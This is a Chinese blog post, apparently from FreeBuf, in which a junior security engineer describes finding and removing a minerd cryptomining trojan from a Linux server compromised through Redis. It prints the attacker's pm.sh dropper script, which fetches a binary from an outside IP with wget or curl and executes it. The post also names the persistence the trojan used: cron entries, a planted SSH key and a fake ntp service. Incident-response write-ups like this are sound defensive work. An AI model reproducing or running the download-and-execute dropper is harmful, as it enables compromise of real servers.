剑客
关注科技互联网

猫鼠游戏:“抗马”小兵的一次实战记录

*本文原创作者:wilsonlee,本文属FreeBuf原创奖励计划,未经许可禁止转载 

对于做安全事业的人来说,木马既是我们的对手,也是我们的朋友。甚至可以这样说,木马使我们进步,安逸使我们落后。这不,这位抗马新兵就不甘落后,辛勤工作,还跟我们分享了他的抗马记录。

刚工作不久就遭遇了3次木马攻击,第一是是root木马,控制服务器对阿里某云进行流量攻击,后两次是minerd木马攻击,使得我们的服务器CPU异常的高,让开发工程师无法正常的登录,造成文件无法读取,工作进度受到了很大影响。有鉴于此,我就跟大家分享一下我在面对minerd木马时的学习与收获。

首先我尝试登陆服务器,但是多次登录失败,而且就算登陆上去,也感觉非常卡顿,运行起来比较困难。用top观察服务器状态,如下图所示:

猫鼠游戏:“抗马”小兵的一次实战记录

我发现CPU负载的确很高,同时也看到了主要运行的程序是minerd。之后按照常理我在进程中查找跟minerd相关的信息,如下图所示:

猫鼠游戏:“抗马”小兵的一次实战记录

观察到在/opt下存在一个minerd文件,随后进入该目录下发现存在minerd文件:

猫鼠游戏:“抗马”小兵的一次实战记录

我随手删掉了minerd文件,又top观察,发现CPU负载依然是很高的,此后我就想观察这个文件是如何运行的,相信大家都有这样的好奇心吧,随后我根据常识去查看cront文件,发现了如下的问题:

猫鼠游戏:“抗马”小兵的一次实战记录

一般我们在cront文件下是没有crontabs目录的,但是我进入该目录后,发现多了一个root文件:

猫鼠游戏:“抗马”小兵的一次实战记录

进去观察了一下root内容,也发现了一些问题:

猫鼠游戏:“抗马”小兵的一次实战记录

主要是关于redis的信息还有一条cront指令,后来发现该木马是通过redis的漏洞进行上传,大家可以去看

http://www.freebuf.com/vuls/85833.html ,我出于好奇先对这个pm.sh脚本进行分析,大致内容如下:

PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin

machine=`uname -m`

#echo $machine

cs5="CentOS release 5"

cs6="CentOS release 6"

cs7="CentOS Linux release 7"

ub="Ubuntu"

de="Debian"

downFile(){

cd /var/lib  //进入这个目录下

if [ -x "/usr/bin/wget"  -o  -x "/bin/wget" ]; then   //判断wget有没有执行权限

wget -c http://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm   //如果有就会去下载这个

文件并赋予执行权限

elif [ -x "/usr/bin/curl"  -o  -x "/bin/curl" ]; then//同上

curl -fs http://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm  //同上

fi

}//主要是对系统类型进行判断来获取不同的执行脚本

if [ $machine = "x86_64" ]; then

if [ -f "/etc/issue" ]; then

version=`cat /etc/issue`

if [[ $version == $cs5* ]]; then

downFile 5

elif [[ $version == $cs6* ]]; then

downFile 6

elif [[ $version == $cs7* ]]; then

downFile 7

elif [[ $version == $ub* ]]; then

downFile ub

elif [[ $version == $de* ]]; then

downFile ub

else

if [ -f "/etc/redhat-release" ]; then

release=`cat /etc/redhat-release

if [[ $release == $cs5* ]]; then

downFile 5

elif [[ $release == $cs6* ]]; then

downFile 6

elif [[ $release == $cs7* ]]; then

downFile 7

fi

fi

fi

fi

fi

之后我在/var/lib下发现了pm程序,取消了该程序的执行权限。然后我去查看黑客是否修改了一些登录认证信息等:

猫鼠游戏:“抗马”小兵的一次实战记录

看到日期还有一些文件名感觉有问题,打开名为KHK75NEOiq的文件看到:

猫鼠游戏:“抗马”小兵的一次实战记录

黑客很可能利用这个认证进入我们服务器,重启了sshd服务,随后我进入了/etc/init.d目录下发现有名为ntp的服务,Linux带有的服务是ntpd,还是在某度查到的信息,然后看了一下rc.d也发现了关于ntp的一些链接。看ntp的程序代码发现:

猫鼠游戏:“抗马”小兵的一次实战记录

从代码中看得出来ntp其实就是该木马的守护程序,所以rm掉ntp,然后kill掉minerd进程7737,发现CPU的负载直线下降,随后在系统中继续寻找ntp相关文件,发现在/var/log的目录下存在两个文件,随后进行删除,本次抗马活动结束。

猫鼠游戏:“抗马”小兵的一次实战记录

本次抗马让我对Linux有了更深的理解,对于一个小兵来说更是一笔宝贵的财富。最后送给大家一句我最喜欢的话:“我一读再读,却不得不承认,青春是一本太仓促的书。”

*本文原创作者:wilsonlee, 本文属FreeBuf原创奖励计划,未经许可禁止转载 

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址